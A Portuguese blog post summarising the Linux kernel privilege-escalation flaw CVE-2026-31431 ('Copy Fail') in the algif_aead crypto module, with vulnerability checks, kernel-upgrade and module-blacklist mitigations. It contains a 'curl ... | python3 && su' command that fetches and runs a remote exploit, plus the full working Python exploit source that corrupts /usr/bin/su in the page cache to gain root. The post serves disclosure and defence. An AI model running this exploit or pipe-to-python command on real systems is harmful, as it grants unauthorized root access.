Escalar Privilégios no Linux - CVE-2026-31431 (Copy Fail)

Table of Contents

Recentemente saiu uma vulnerabilidade bem séria no kernel Linux, identificada como CVE-2026-31431, também conhecida como Copy Fail.

Eu usei como base principal o site copy.fail porque eles fizeram um write-up muito bom, explicando o que é, como testar e como mitigar. Recomendo fortemente a leitura completa no copy.fail.

Info

Essa publicação é apenas um resumo bem mastigado do que esta no copy.fail.

O que é essa vulnerabilidade?

Essa falha está no subsystem de criptografia do kernel (AF_ALG), mais especificamente no módulo algif_aead. O problema é um bug lógico onde um usuário comum consegue injetar 4 bytes controlados no page cache de arquivos acessíveis para leitura, corrompendo a cópia em memória usada pelo kernel, sem modificar o conteúdo persistido em disco.

Isso significa que, após ser carregado em memória, o sistema passa a executar o programa a partir do page cache, sem necessariamente voltar ao disco a cada execução. Mas isso só ocorre nos demais acessos. Quando um programa é executado pela primeira vez, o kernel precisa carregar o binário do disco, e esse carregamento já popula o page cache.

Em um sistema sem essa falha, o conteúdo do page cache e o conteúdo do disco são consistentes, se você alterar um arquivo no disco, o kernel sincroniza essas mudanças no page cache.

Acontece que com o Copy Fail o atacante consegue injetar dados diretamente no page cache, isso altera apenas a cópia em memória mantendo o arquivo original intacto no disco.

Gravidade

CVSS: 7.8 (High)
Tipo: Local Privilege Escalation (LPE)
Confiabilidade: Praticamente 100%
Exploit público: Sim

Verificar se o seu sistema está vulnerável

Antes de tudo, verifique a versão do seu kernel:

$ uname -r
5.15.0-91-generic

$ dpkg -l | grep linux-image
ii  linux-image-5.15.0-91-generic         5.15.0-91.101                           amd64        Signed kernel image generic
ii  linux-image-generic                   5.15.0.91.88                            amd64        Generic Linux kernel image

Agora, sem rodar exploit, você pode verificar se o módulo existe no seu sistema:

$ modinfo algif_aead | grep filename
filename:       /lib/modules/5.15.0-91-generic/kernel/crypto/algif_aead.ko

Isso indica que o componente vulnerável está disponível como um módulo carregável. Se a saída acima fosse filename: (builtin), isso significaria que o código está embutido diretamente no kernel, e não poderia ser descarregado. Mas no meu caso, ele é um módulo externo e podemos descarregado ele.

Para testar a vulnerabilidade (rodando o exploit) basta executar o comando abaixo:

$ id
uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)

$ curl https://copy.fail/exp | python3 && su
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   731    0   731    0     0   1452      0 --:--:-- --:--:-- --:--:--  1453

# id
uid=0(root) gid=1000(vagrant) groups=1000(vagrant)

Note

Vou deixar o exploit aqui, caso ele fique indisponível por algum motivo:

$ curl https://copy.fail/exp
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

Mitigação

A mitigação proposta tanto pela Canonical quanto pelo site Copy Fail é basicamente atualizar os pacotes do Kernel para uma versão que contenha a correção oficial da vulnerabilidade CVE-2026-31431. Essa correção foi introduzida no kernel principal (mainline) por meio do commit a664bf3d603d (assim como explicado pelo Copy Fail.

Essa correção remove (reverte) uma otimização introduzida em 2017 no módulo algif_aead. Comece verificando se existe uma versão nova do Kernel (provavelmente existe):

$ sudo apt -q  list --upgradable | grep 'linux-image'
linux-image-generic/jammy-updates 5.15.0.177.162 amd64 [upgradable from: 5.15.0.91.88

Depois atualize os pacotes, principalmente os do Kernel:

$ sudo apt update && sudo apt install linux-image-generic -y

# Se possível, atualize todos os pacotes:
$ sudo apt upgrade -y

Warning

A principal forma de mitigação é a atualização do kernel para remover o acesso ao AF_ALG, que é justamente o mecanismo explorado pela falha.

# Teste realizado após atualização do Kernel:
$ curl https://copy.fail/exp | python3 && su
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   731    0   731    0     0   1196      0 --:--:-- --:--:-- --:--:--  1196
Traceback (most recent call last):
  File "<stdin>", line 9, in <module>
  File "<stdin>", line 5, in c
FileNotFoundError: [Errno 2] No such file or directory

$ uname -r
5.15.0-177-generic

Desabilitar o módulo vulnerável

Além do método descrito acima, ainda existe uma mitigação que pode ser usada em conjunto ou em situações em que uma correção não está disponível para o Kernel. Vale deixar claro que isso não significa que você estará 100% livre dessa vulnerabilidade, mas as chances de proteção aumentam.

Basicamente, temos que desatrivar o módulo algif_aead e impedir sua execução:

$ echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif-aead.conf

$ sudo rmmod algif_aead

Desativar esse módulo do kernel ligado à criptografia pode preocupar, já que hoje em dia usamos muitas funções ligadas a criptografia, mas como é dito pelo Copy Fail, desabilitar o módulo algif_aead não interfere em boa parte dos componentes críticos do sistema. Isso acontece porque a vulnerabilidade não está na criptografia em si, mas na forma como ela é exposta para o espaço de usuário por meio do AF_ALG.

Ou seja, funções como dm-crypt/LUKS, kTLS, IPsec/XFRM, TLS no kernel, versões padrão do OpenSSL, GnuTLS e NSS, SSH e a criptografia do keyring do kernel não serão afetadas ao desativar o módulo. Isso acontece porque todos esses mecanismos utilizam diretamente a API de criptografia do kernel, sem depender da interface AF_ALG.

Impacto em desativar `afalg`

O impacto aparece em um cenário mais específico, como aplicações que foram configuradas explicitamente para usar AF_ALG. Isso não é comum na maioria dos ambientes, mas pode acontecer em casos como: OpenSSL com o engine afalg habilitado manualmente, aplicações que criam sockets AF_ALG diretamente, sistemas embarcados ou customizados com offload de criptografia entre outros.

Se você está com dúvida sobre o uso no sistema, é possível verificar usando os comandos abaixo: